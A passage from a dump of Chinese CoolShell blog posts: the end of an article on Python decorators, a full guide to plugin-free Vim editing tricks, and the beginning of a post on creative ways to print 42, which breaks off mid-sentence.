Configuraion(env=\"Prod\")\n\n    def on_sql_error(err):\n        print err\n        sys.exit(-1)\n\n    def handle_sql_result(rs):\n        if rs.rows &gt; 0:\n            fieldnames = [f[0] for f in rs.fields]\n            return [dict(zip(fieldnames, r)) for r in rs.rows]\n        else:\n            return []\n\n    def decorator(fn):\n        @wraps(fn)\n        def wrapper(*args, **kwargs):\n            mysqlconn = umysql.Connection()\n            mysqlconn.settimeout(5)\n            mysqlconn.connect(_conf.host, _conf.port, _conf.user, \\\n                              _conf.passwd, _conf.db, True, 'utf8')\n            try:\n                rs = mysqlconn.query(sql, {})\n            except umysql.Error as e:\n                on_sql_error(e)\n\n            data = handle_sql_result(rs)\n            kwargs[\"data\"] = data\n            result = fn(*args, **kwargs)\n            mysqlconn.close()\n            return result\n        return wrapper\n\n    return decorator\n\n@mysql(sql = \"select * from coolshell\" )\ndef get_coolshell(data):\n    ... ...\n    ... ..\n</pre>\n<h5>线程异步</h5>\n<p>下面量个非常简单的异步执行的decorator，注意，异步处理并不简单，下面只是一个示例。</p>\n<pre class=\"EnlighterJSRAW\">from threading import Thread\nfrom functools import wraps\n\ndef async(func):\n    @wraps(func)\n    def async_func(*args, **kwargs):\n        func_hl = Thread(target = func, args = args, kwargs = kwargs)\n        func_hl.start()\n        return func_hl\n\n    return async_func\n\nif __name__ == '__main__':\n    from time import sleep\n\n    @async\n    def print_somedata():\n        print 'starting print_somedata'\n        sleep(2)\n        print 'print_somedata: 2 sec passed'\n        sleep(2)\n        print 'print_somedata: 2 sec passed'\n        sleep(2)\n        print 'finished print_somedata'\n\n    def main():\n        print_somedata()\n        print 'back in main'\n        print_somedata()\n        print 'back in main'\n\n    main()\n</pre>\n<h4>其它</h4>\n<p>关于更多的示例，你可以参看： <a href=\"https://wiki.python.org/moin/PythonDecoratorLibrary\" rel=\"noopener noreferrer\" target=\"_blank\">Python Decorator Library</a></p>\n<p>关于Python Decroator的各种提案，可以参看：<a href=\"https://wiki.python.org/moin/PythonDecoratorProposals\" rel=\"noopener noreferrer\" target=\"_blank\">Python Decorator Proposals</a></p>\n<p>（全文完）<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/17929.html\"><img alt=\"Go编程模式：修饰器\" height=\"150\" src=\"../wp-content/uploads/2017/06/go-hardhat-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/17929.html\">Go编程模式：修饰器</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/10822.html\"><img alt=\"函数式编程\" height=\"150\" src=\"../wp-content/uploads/2013/12/yoda-lambda-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/10822.html\">函数式编程</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/21164.html\"><img alt=\"Go编程模式：Map-Reduce\" height=\"150\" src=\"../wp-content/uploads/2020/12/go.map_.reduce-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/21164.html\">Go编程模式：Map-Reduce</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/21146.html\"><img alt=\"Go 编程模式：Functional Options\" height=\"150\" src=\"../wp-content/uploads/2020/12/go.options-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/21146.html\">Go 编程模式：Functional Options</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/19612.html\"><img alt=\"50年前的登月程序和程序员有多硬核\" height=\"150\" src=\"../wp-content/uploads/2019/07/1920px-Margaret_Hamilton_-_restoration-e1563697198766-1-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/19612.html\">50年前的登月程序和程序员有多硬核</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/18360.html\"><img alt=\"程序员练级攻略（2018)  与我的专栏\" height=\"150\" src=\"../wp-content/uploads/2018/05/300x262-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/18360.html\">程序员练级攻略（2018)  与我的专栏</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/11265.html\">Python修饰器的函数式编程</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2014-3-24 无插件Vim编程技巧.html",
    "content": "<html><body><p><img alt=\"\" class=\"alignright wp-image-11338\" height=\"244\" src=\"../wp-content/uploads/2014/03/success_vim.jpg\" width=\"222\"/>相信大家看过《<a href=\"https://coolshell.cn/articles/5426.html\" target=\"_blank\" title=\"简明 Vim 练级攻略\">简明Vim教程</a>》也玩了《<a href=\"https://coolshell.cn/articles/7166.html\" target=\"_blank\" title=\"游戏：VIM大冒险\">Vim大冒险</a>》的游戏了，相信大家对Vim都有一个好的入门了。我在这里把我日常用Vim编程的一些技巧列出来给大家看看，希望对大家有用，另外，也是一个抛砖引玉的过程，也希望大家把你们的技巧跟贴一下，我会更新到这篇文章中。另外，这篇文章里的这些技巧全都是vim原生态的，不需要你安装什么插件。<strong>我的Vim的版本是7.2</strong>。</p>\n<h4>浏览代码</h4>\n<p><span style=\"line-height: 1.5em;\">首先，我们先从浏览代码开始。有时候，我们需要看多个文件，所以，传统的做法是，我们开多个tty终端，每个tty里用Vim打开一个文件，然后来回切换。这很没有什么效率。我们希望在一个Vim里打开多个文件，甚至浏览程序目录。</span></p>\n<p>浏览目录的命令很简单：（你也可以直接vim一个目录）</p>\n<blockquote><p><strong>:E</strong></p></blockquote>\n<p>注意，是大写。于是，你会看到下面这样的界面：</p>\n<p><span id=\"more-11312\"></span></p>\n<p><img alt=\"\" class=\"aligncenter size-full wp-image-11314\" height=\"387\" src=\"../wp-content/uploads/2014/03/Explorer.png\" width=\"643\"/></p>\n<p style=\"text-align: left;\">这个界面中，<strong>你可以用 j, k 键上下移动，然后回车，进入一个目录，或是找开一个文件</strong>。你可以看到上面有一堆命令：</p>\n<ul>\n<li>【 – 】 到上级目录</li>\n<li>【D】删除文件（大写）</li>\n<li>【R】改文件名（大写）</li>\n<li>【s】对文件排序（小写）</li>\n<li>【x】执行文件</li>\n</ul>\n<p>当然，打开的文件会把现有已打开的文件给冲掉——也就是说你只看到了一个文件。</p>\n<p>如果你要改变当前浏览的目录，或是查看当前浏览的目录，你可以使用和shell一样的命令：</p>\n<blockquote><p><strong>:cd &lt;dir&gt; – 改变当前目录</strong></p>\n<p><strong>:pwd  – 查看当前目录</strong></p></blockquote>\n<h4>缓冲区</h4>\n<p>其实，你用:E 浏览打开的文件都没有被关闭，这些文件都在缓冲区中。你可以用下面的命令来查看缓冲区：</p>\n<blockquote><p><strong>:ls</strong></p></blockquote>\n<p>于是，在你的Vim下，你会看到如下界面：</p>\n<p><img alt=\"\" class=\"aligncenter size-full wp-image-11315\" height=\"174\" src=\"../wp-content/uploads/2014/03/buffer_ls.png\" width=\"572\"/></p>\n<p>你可以看到Vim打开了四个文件，编号是4，5，6，7，如果你要切换打开的文件，这个时候，你不要按回车（按了也没事，只不过按了就看不到:ls输出的buffer列表了），你可以使用下面的命令切换文件（buffer后面的4表示切到4号文件也就是src/http/ngx_http.c）：</p>\n<blockquote><p><strong>:buffer 4</strong></p></blockquote>\n<p>或是：</p>\n<blockquote><p><strong>:buffer src/http/ngx_http.c</strong></p></blockquote>\n<p>注意，</p>\n<ul>\n<li>你可以像在Shell中输入命令按Tab键补全一样补全Vim的命令。</li>\n<li>也可以用像gdb一样用最前面的几个字符，只要没有冲突。如：buff</li>\n</ul>\n<p>你还可以动用如下命令，快速切换：</p>\n<blockquote><p>:bnext      缩写 :bn<br/>\n:bprevious   缩写 :bp<br/>\n:blast  缩写 :bl<br/>\n:bfirst 缩写 :bf</p></blockquote>\n<p><span style=\"line-height: 1.5em;\">上图中，我们还可以看到5有一个%a，这表示当前文件，相关的标记如下：</span></p>\n<p style=\"padding-left: 30px;\">– （非活动的缓冲区）<br/>\na （当前被激活缓冲区）<br/>\nh （隐藏的缓冲区）<br/>\n% （当前的缓冲区）<br/>\n# （交换缓冲区）<br/>\n= （只读缓冲区）<br/>\n+ （已经更改的缓冲区）</p>\n<h4>窗口分屏浏览</h4>\n<p>相信你在《<a href=\"https://coolshell.cn/articles/1679.html\" target=\"_blank\" title=\"Vim的分屏功能\">Vim的窗口分屏</a>》一文中，你已经知道了怎么拆分窗口了。其实，我更多的不是用拆分窗口的命令，而是用浏览文件的命令来分隔窗口。如：</p>\n<p>把当前窗口上下分屏，并在下面进行目录浏览：</p>\n<blockquote><p><strong>:He   全称为 :Hexplore  （在下边分屏浏览目录）</strong></p></blockquote>\n<p>如果你要在上面，你就在 :He后面加个 !，</p>\n<blockquote><p><strong>:He!  （在上分屏浏览目录）</strong></p></blockquote>\n<p>如果你要左右分屏的话，你可以这样：</p>\n<blockquote><p><strong>:Ve 全称为 :Vexplore （在左边分屏间浏览目录，要在右边则是 :Ve!）</strong></p></blockquote>\n<p>下图是分别用:He 和 :Ve搞出来的同时看三个文件：</p>\n<p style=\"text-align: center;\"><img alt=\"\" class=\"aligncenter wp-image-11316\" height=\"411\" src=\"../wp-content/uploads/2014/03/WindowsExplorer.png\" width=\"725\"/></p>\n<p style=\"text-align: left;\">在分屏间的跳转和切换在《<a href=\"https://coolshell.cn/articles/1679.html\" target=\"_blank\" title=\"Vim的分屏功能\">Vim的窗口分屏</a>》一文中提过了：<strong>先按Ctrl + W，然后按方向键：h j k l</strong></p>\n<h4 style=\"text-align: left;\">分屏同步移动</h4>\n<p>要让两个分屏中的文件同步移动，很简单，你需要到需要同步移动的两个屏中都输入如下命令（相当于使用“铁锁连环”）：</p>\n<blockquote><p><strong>:set scb</strong></p></blockquote>\n<p>如果你需要解开，那么就输入下面的命令：</p>\n<blockquote><p><strong>:set scb!</strong></p></blockquote>\n<p>注：set scb 是 set scrollbind 的简写。</p>\n<h4>Tab页浏览目录</h4>\n<p>分屏可能会让你不爽，你可能更喜欢像Chrome这样的分页式的浏览，那么你可以用下面的命令：</p>\n<blockquote><p><strong>:Te  全称是 :Texplorer</strong></p></blockquote>\n<p>下图中，你可以看到我用Te命令打开了三页，就在顶端我们可以可以看到有三页，其中第一页Tab上的数字3表示那一页有3个文件。</p>\n<p><img alt=\"\" class=\"aligncenter size-full wp-image-11317\" height=\"236\" src=\"../wp-content/uploads/2014/03/TabExplorer.png\" width=\"679\"/></p>\n<p>我们要在多个Tabe页中切换，在normal模式下，你可以使用下面三个按键（注意没有冒号）：</p>\n<blockquote><p><strong>gt   – 到下一个页</strong></p>\n<p><strong>gT  – 到前一个页</strong></p>\n<p><strong>{i} gt   – i是数字，到指定页，比如：5 gt 就是到第5页</strong></p></blockquote>\n<p>你可以以使用 【:tabm {n}】来切换Tab页。</p>\n<p>gvim应该是：Ctrl+PgDn 和 Ctrl+PgUp 来在各个页中切换。</p>\n<p>如果你想看看你现在打开的窗口和Tab的情况，你可以使用下面的命令：</p>\n<blockquote><p><strong>:tabs</strong></p></blockquote>\n<p>于是你可以看到：</p>\n<p><img alt=\"\" class=\"aligncenter size-full wp-image-11318\" height=\"175\" src=\"../wp-content/uploads/2014/03/Tab01.png\" width=\"392\"/></p>\n<p>使用如下命令可以关闭tab：（当然，我更喜欢使用传统的:q, :wq来关闭）</p>\n<blockquote><p><strong>:tabclose [i]</strong> – 如果后面指定了数字，那就关闭指定页，如果没有就关闭当前页</p></blockquote>\n<p>最后提一下，如果你在Shell命令行下，你可以使用 vim 的 -p 参数来用Tab页的方式打开多个文件，比如：</p>\n<blockquote><p><strong>vim -p cool.cpp shell.cpp haoel.cpp<br/>\nvim -p *.cpp</strong></p></blockquote>\n<p><strong>注：如果你想把buffer中的文件全转成tab的话，你可以使用下面的命令</strong></p>\n<blockquote><p><strong>:bufdo tab split</strong></p></blockquote>\n<h4>保存会话</h4>\n<p>如果你用Tab或Window打开了好些文件的文件，还设置了各种滚屏同步，或是行号……，那么，你可以用下面的命令来保存会话：（你有兴趣你可以看看你的 mysession.vim文件内容，也就是一个批处理文件）</p>\n<blockquote><p><strong>:mksession ~/.mysession.vim</strong></p></blockquote>\n<p>如果文件重复，vim默认会报错，如果你想强行写入的话，你可以在mksession后加! ：</p>\n<blockquote><p><strong>:mksession! ~/.mysession.vim</strong></p></blockquote>\n<p>于是下次，你可以这样打开这个会话：</p>\n<blockquote><p><strong>vim -S ~/.mysession.vim</strong></p></blockquote>\n<p>保存完会话后，你也没有必要一个一个Tab/Windows的去Close。你可以简单地使用：</p>\n<blockquote><p><strong>:qa   – 退出全部 </strong></p>\n<p><strong>:wqa  -保存全部并退出全部</strong></p></blockquote>\n<h4>Quickfix</h4>\n<p>假如我们有一个hello.cpp文件和一个makefile，于是我们可以直接在vim下输入 :make ， 于是就可以make这个hello.cpp文件，如果出错了，我们需要按回车返回，这个时候，我们可以使用下面的命令来把出错显到在vim的分屏中：</p>\n<blockquote><p><strong>:cw</strong></p></blockquote>\n<p>于是，就会出现下面右边的那个样子：（是不是看上去和我一样很帅？）</p>\n<p><img alt=\"\" class=\"aligncenter size-full wp-image-11321\" height=\"385\" src=\"../wp-content/uploads/2014/03/quickfix.png\" width=\"705\"/></p>\n<p>上图中左边是我的makefile，右边是我的错误百出的源代码，右边下面是quickfix窗屏。你可以看到quickfix窗屏指向的第一个错误已经定位到我们相就错误的文件行上了。</p>\n<p>你可以使用像浏览文件那样用j, k在quckfix窗屏中上下移动到相应的错误上然后按回车，然后就可以在上面的窗屏里定位到相应的源文件的代码行。但是，如果是这样的话， 你要定位下一条错误还得用Ctrl +W 回到quickfix屏中来然后重复来过。</p>\n<p>你可以使用下面的命令而不用回到quickfix中来：</p>\n<blockquote><p><strong>:cp 跳到上一个错误</strong></p>\n<p><strong>:cn 跳到下一个错误</strong></p>\n<p><strong>:cl 列出所有错误</strong></p>\n<p><strong>:cc 显示错误详细信息</strong></p></blockquote>\n<p>下面我们来看另一个quickfix的功能。</p>\n<p>如果你用过vim的cscope插件，你就知道cscope可以用来查找相当的代码，但cscope需要事先生成一个数据库，对一些简单的查找，其实，我们用vim的grep命令就可以了，不需要专门为之生成数据库。vim的grep命令和shell的几乎一样。</p>\n<p>我们来看个例子：</p>\n<p>比如我们正在浏览nginx的代码，这时，我想看看哪里用到了nginx的NGX_HTTP_VAR_INDEXED宏。于是，我可以在vim里输入如下的命令：</p>\n<blockquote><p><strong>:grep -r –include=”*.[ch]” NGX_HTTP_VAR_INDEXED src/</strong></p></blockquote>\n<p>上面这个命令意思是递归查询src目录下所有的.c和.h文件，其中包括NGX_HTTP_VAR_INDEXED宏。然后，你就会看到vim到shell里去执行并找到了相关的文件，按回车返回vim后，别忘了用 【:cw 】把grep的输出取回来，于是我们就有下面的样子：</p>\n<p><img alt=\"\" class=\"aligncenter size-full wp-image-11323\" height=\"386\" src=\"../wp-content/uploads/2014/03/quickfix_grep.png\" width=\"704\"/></p>\n<p>然后同上面一样，你可以用 j，k 键移动quickfix里的光标到相应的行，然后按回车定位文件，或是使用【:cn】或【:cp】来移动到定位。（这样，你会把多个文件打开到缓冲区，别忘了【:ls】来查看缓冲区）</p>\n<p>你看，到这里，一个小小的IDE就这样产生了，而且，<strong>最帅的时，我们连一点插件都没有装，也没有在.vimrc文件中配置过什么</strong>。</p>\n<h4>关键字补全</h4>\n<p>我们还是坚持不用任何插件。我们来看看是怎么个自动补全的。</p>\n<p>在insert模式下，我们可以按如下快捷键：</p>\n<blockquote><p>【<strong>Ctrl +N</strong>】  – 当你按下这它时，你会发现Vim就开始搜索你这个目录下的代码，搜索完成了就会出现一个下拉列表（居然是粉紫色的，真是丑死了）</p></blockquote>\n<p>下图是我输入了ngx_http_然后按ctrl+n出现的样子，它已经帮我补全了一个，但是我不想要这个。然后，在Vim的下方我们可以看到状态变成了“关键字补全”，然后后面有^N^P的提示，意思就是告诉你还有一个Ctrl+P.</p>\n<p style=\"text-align: center;\"><img alt=\"\" class=\"aligncenter wp-image-11325\" height=\"304\" src=\"../wp-content/uploads/2014/03/auto_complete_ctrl_n.png\" width=\"635\"/></p>\n<blockquote><p>【<strong>Ctrl + P</strong>】 – 接下来你可以按这个键，于是回到原点，然后你可以按上下光标键来选择相应的Word。</p></blockquote>\n<p>对于上面那个例子，我们按下了Ctrl+P后出现下面的这个样子。我们可以看到，光标回到了一开始我输入的位置，然后你可以干两件事，一个是继续输入（这可以帮助过滤关键词），另一个是用“光标键”上移或下移来选择下拉列表中的关键字，选好后回车，就补全了。</p>\n<p><img alt=\"\" class=\"aligncenter size-full wp-image-11326\" height=\"337\" src=\"../wp-content/uploads/2014/03/auto_complete_ctrl_p.png\" width=\"707\"/></p>\n<p>与此类似的，还有更多的补齐，都在Ctrl +X下面：</p>\n<ul>\n<li>Ctrl + X 和 Ctrl + D 宏定义补齐</li>\n<li>Ctrl + X 和 Ctrl + ] 是Tag 补齐</li>\n<li>Ctrl + X 和 Ctrl + F 是文件名 补齐</li>\n<li>Ctrl + X 和 Ctrl + I 也是关键词补齐，但是关键后会有个文件名，告诉你这个关键词在哪个文件中</li>\n<li>Ctrl + X 和 Ctrl +V 是表达式补齐</li>\n<li>Ctrl + X 和 Ctrl +L 这可以对整个行补齐，变态吧。</li>\n</ul>\n<h4>其它技巧</h4>\n<h5>字符相关</h5>\n<p style=\"padding-left: 30px;\">【guu 】 – 把一行的文字变成全小写。或是【Vu】</p>\n<p style=\"padding-left: 30px;\">【gUU】 – 把一行的文件变成全大写。或是【VU】</p>\n<p style=\"padding-left: 30px;\">按【v】键进入选择模式，然后移动光标选择你要的文本，按【u】转小写，按【U】转大写</p>\n<p style=\"padding-left: 30px;\">【ga】 –  查看光标处字符的ascii码</p>\n<p style=\"padding-left: 30px;\">【g8】 – 查看光标处字符的utf-8编码</p>\n<p style=\"padding-left: 30px;\">【gf】  – 打开光标处所指的文件 （这个命令在打到#include头文件时挺好用的，当然，仅限于有路径的）</p>\n<p style=\"padding-left: 30px;\">【*】或【#】在当前文件中搜索当前光标的单词</p>\n<h5>缩进相关</h5>\n<p style=\"padding-left: 30px;\">【&gt;&gt;】向右给它进当前行 【&lt;&lt;】向左缩进当前行</p>\n<p style=\"padding-left: 30px;\">【=】  – 缩进当前行 （和上面不一样的是，它会对齐缩进）</p>\n<p style=\"padding-left: 30px;\">【=%】 – 把光标位置移到语句块的括号上，然后按=%，缩进整个语句块（%是括号匹配）</p>\n<p style=\"padding-left: 30px;\">【G=gg】 或是 【gg=G】  – 缩进整个文件（G是到文件结尾，gg是到文件开头）</p>\n<h5>复制粘贴相关</h5>\n<p style=\"padding-left: 30px;\">按【v】 键进入选择模式，然后按h,j,k,l移动光标，选择文本，然后按 【y】 进行复制，按 【p】 进行粘贴。</p>\n<p style=\"padding-left: 30px;\">【dd】剪切一行（前面加个数字可以剪切n行），【p】粘贴</p>\n<p style=\"padding-left: 30px;\">【yy】复制一行（前面加个数字可以复制n行），【p】粘贴</p>\n<h5>光标移动相关</h5>\n<p style=\"padding-left: 30px;\">【Ctrl + O】向后回退你的光标移动</p>\n<p style=\"padding-left: 30px;\">【Ctrl + I 】向前追赶你的光标移动</p>\n<p style=\"padding-left: 30px;\">这两个快捷键很有用，可以在Tab页和Windows中向前和向后trace你的光标键，这也方便你跳转光标。</p>\n<h5>读取Shell命令相关</h5>\n<p style=\"padding-left: 30px;\">【:r!date】 插入日期</p>\n<p style=\"padding-left: 30px;\">上面这个命令，:r 是:read的缩写，!是表明要运行一个shell命令，意思是我要把shell命令的输出读到vim里来。</p>\n<h4>vim的终级插件</h4>\n<p style=\"padding-left: 30px;\">CentOS下：yum erase emacs</p>\n<p style=\"padding-left: 30px;\">Ubuntu下：apt-get remove emacs</p>\n<p>对了，以前本站也有一篇小短文《<a href=\"https://coolshell.cn/articles/894.html\" target=\"_blank\">如何在vim中得到你最喜爱的IDE特性</a>》你也可以看看。</p>\n<p>（:wq）<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"http://coolshell.cn/articles/5426.html\"><img alt=\"简明 Vim 练级攻略\" height=\"150\" src=\"../wp-content/uploads/2011/09/rectangular-blocks-150x150.gif\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"http://coolshell.cn/articles/5426.html\">简明 Vim 练级攻略</a></li><li><a class=\"wp_rp_thumbnail\" href=\"http://coolshell.cn/articles/7166.html\"><img alt=\"游戏：VIM大冒险\" height=\"150\" src=\"../wp-content/uploads/2012/04/vimadventuresgamefun-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"http://coolshell.cn/articles/7166.html\">游戏：VIM大冒险</a></li><li><a class=\"wp_rp_thumbnail\" href=\"http://coolshell.cn/articles/5479.html\"><img alt=\"给程序员的VIM速查卡\" height=\"150\" src=\"../wp-content/uploads/2011/09/vim_cheat_sheet_for_programmers_print-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"http://coolshell.cn/articles/5479.html\">给程序员的VIM速查卡</a></li><li><a class=\"wp_rp_thumbnail\" href=\"http://coolshell.cn/articles/1679.html\"><img alt=\"Vim的分屏功能\" height=\"150\" src=\"../wp-content/uploads/2009/11/vimwindows-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"http://coolshell.cn/articles/1679.html\">Vim的分屏功能</a></li><li><a class=\"wp_rp_thumbnail\" href=\"http://coolshell.cn/articles/894.html\"><img alt=\"将vim变得简单:如何在vim中得到你最喜爱的IDE特性\" height=\"150\" src=\"../wp-content/uploads/2009/05/vimtxt_gvim_ars-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"http://coolshell.cn/articles/894.html\">将vim变得简单:如何在vim中得到你最喜爱的IDE特性</a></li><li><a class=\"wp_rp_thumbnail\" href=\"http://coolshell.cn/articles/1651.html\"><img alt=\"VIM有趣的命令\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/3.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"http://coolshell.cn/articles/1651.html\">VIM有趣的命令</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/11312.html\">无插件Vim编程技巧</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2014-3-6 如何用最有创造力的方式输出42.html",
    "content": "<html><body><p><img alt=\"\" class=\"alignright size-medium wp-image-11216\" height=\"240\" src=\"../wp-content/uploads/2014/03/42-300x240.jpg\" width=\"300\"/>酷壳似乎好长时间没有像《<a href=\"https://coolshell.cn/articles/1391.html\" title=\"编程真难啊 - 80,069 人阅读\">编程真难啊</a>》或是《<a href=\"https://coolshell.cn/articles/2420.html\" target=\"_blank\" title=\"老手是这样教新手编程的\">老手是这样教新手编程的</a>》或是像《<a href=\"https://coolshell.cn/articles/4758.html\" target=\"_blank\" title=\"如何写出无法维护的代码\">如何写出无法维护的代码</a>》这样“严肃正经”的文章了，所以，赶在大家还没有向我扔臭鸡蛋前奉献一篇。这篇文章来自CodeGolf.StackExchange上的《<a href=\"http://codegolf.stackexchange.com/questions/21835/most-creative-way-to-display-42\">Most creative way to display 42</a>》—— 请以最有创造力的方式输出42。于是出现了下面的这些答案（注：精彩的总是留在最后面）</p>\n<h4>人生和宇宙终级问题的答案：42</h4>\n<p>这里，需要介绍一下为什么要输出42。这时因为42是我们人生，世界乃至整个宇宙的终级答案。这要从《银河系漫游指南》（英文名：The Hitchhiker’s Guide to the Galaxy）说起。这本书是著名英国科幻小说作家Douglas  Adams所著5本银河系漫游指南系列科幻喜剧系列小说中的第一本，改编自他本人为英国广播公司第四电台（BBC Radio 4）所写的广播剧剧本。该书1979年10月12日首次由麦克米伦出版公司（Pan Books）出版，次周成为英国图书销量榜冠军，前3个月内销售超过25万本。截至2005年，这本小说已被翻译成超过30种语言在全世界发行，并且被改编为电视剧、电影、舞台剧等多种艺术形式的作品。</p>\n<p>这本小说中小说中充满尖锐的讽刺和隐喻，被西方科幻爱好者奉为“科幻圣经”。其中有两个关键词，一个是Don’t Panic，一个是42影响力很大，而其中关于42的故事简介是这样的：</p>\n<p style=\"padding-left: 30px;\">百万年前，老鼠其实是一种超智慧生物，它们建造了一部超级电脑深思Deep Thought，它们问超级电脑，生命、宇宙以及任何事情的终极答案（<i>Answer to Life, the Universe, and Everything</i>）什么，经过了750万年的计算，深思告诉老鼠的后人答案是<b>42</b>，深思解释它只能计算出答案是什么，但答案的原因必须由另一部更高智能的电脑才能解释，而该部电脑就是地球。经过了800万年，就在结果要出来的五分钟前，地球却因为挡在预定兴建的星际间高速公路的路线，被Vogons给毁灭，电脑没有给出最后的结果。</p>\n<p><span id=\"more-11170\"></span></p>\n<p style=\"padding-left: 30px;\">故事里面还说了这个42是6 乘于 9得来。当然，6乘9应该是54，但是因为地球上的电脑被搞坏了，导致主人翁答错了。至于后来有人说6 x 9 = 42是基于13进制，原作者说，完全没有这回事，他就是瞎搞的。</p>\n<p>网上有很多人在猜测42的含义，比如<a href=\"http://www.douban.com/note/232036705/\" target=\"_blank\">douban的这篇文章</a>，但是原作者出来说这他就是随机想了一个，完全没有任何意义。</p>\n<p>对于42来说，数字42和短语，“生命，宇宙以及一切的答案”（<i>Answer to Life, the Universe, and Everything</i>） 已达到在互联网上邪教的地位。在各种技术宅，极客，科学圈有着非同凡响的地位。</p>\n<ul>\n<li>您若在Google输入<a href=\"http://www.google.com/search?q=the+answer+to+life%2C+the+universe%2C+and+everything\" rel=\"nofollow\" target=\"_blank\">the answer to life, the universe, and everything</a>，Google会直接回答42——而且还是用Google计算器算出来的。</li>\n<li>若在<a href=\"http://zh.wikipedia.org/wiki/Wolfram_Alpha\" target=\"_blank\" title=\"Wolfram Alpha\">Wolfram Alpha</a>中输入<a href=\"http://www.wolframalpha.com/input/?i=Answer+to+the+Ultimate+Question+of+Life%2C+the+Universe%2C+and+Everything\" rel=\"nofollow\" target=\"_blank\">Answer to the Ultimate Question of Life, the Universe, and Everything</a>，Wolfram Alpha也会回答42</li>\n<li>若在iPhone/iPad的Siri中问[What’s the meaning of life?]，Siri也会回答42</li>\n<li><span><span>在</span></span><a href=\"http://en.wikipedia.org/wiki/OpenOffice.org\" title=\"OpenOffice.org\"><span>OpenOffice.org</span></a><span><span>软件，如果您在任何单元格输入spreadsheet=ANTWORT(“Das Leben, das Universum und der ganze Rest”) (注：德语的ANSWER(“life, the universe and everything”))，结果也会是42。</span></span></li>\n</ul>\n<p>另外，在美剧《Lost》里那个经典的数字序列： 4, 8, 15, 16, 23,42。经Lost的导演确认，最后那个42也是源自《银河系漫游指南》</p>\n<p>好了，言归正传，下面让我们来看一下如何输出42的。</p>\n<h4>Ruby</h4>\n<p><code class=\"EnlighterJSRAW\"></code>puts (6 * 9).to_s(13)[/h4]</p>\n<p>解释：6 x 9 = 42的表达式（基于13进制）</p>\n<h4>Javascript</h4>\n<p>[javascript]String.prototype.answer = function() {<br/>\n    alert(this.charCodeAt(+!\"The End of the Universe\"));<br/>\n};<br/>\n‘*’.answer();[/javascript]</p>\n<p>解释：+!”The End of the Universe”的值是0，’*’的ASCII码是42</p>\n<p>[javascript]console.log(\"Douglas Adams\".length + \"born on\".length +<br/>\n    [1,1,0,3,1,9,5,2].reduce(<br/>\n        function(previousValue, currentValue, index, array){<br/>\n            return previousValue + currentValue;<br/>\n        }<br/>\n    )<br/>\n);</p>\n<p> /* [1,1,0,3,1,9,5,2] =&gt; March 11, 1952 */[/javascript]</p>\n<p>解释：Douglas Adams 是一位英国广播剧作家、和音乐家，尤其以《银河系漫游指南》系列作品出名。这部作品以广播剧起家，后来发展成包括五本书的“三部曲”，拍成电视连续剧。亚当斯逝世后还拍成电影。 除《银河系漫游指南》系列外亚当斯还参加了科幻电视连续剧《神秘博士》的拍摄工作，他写了其中的一些剧本。也的生日是 1952 年 3 月 11 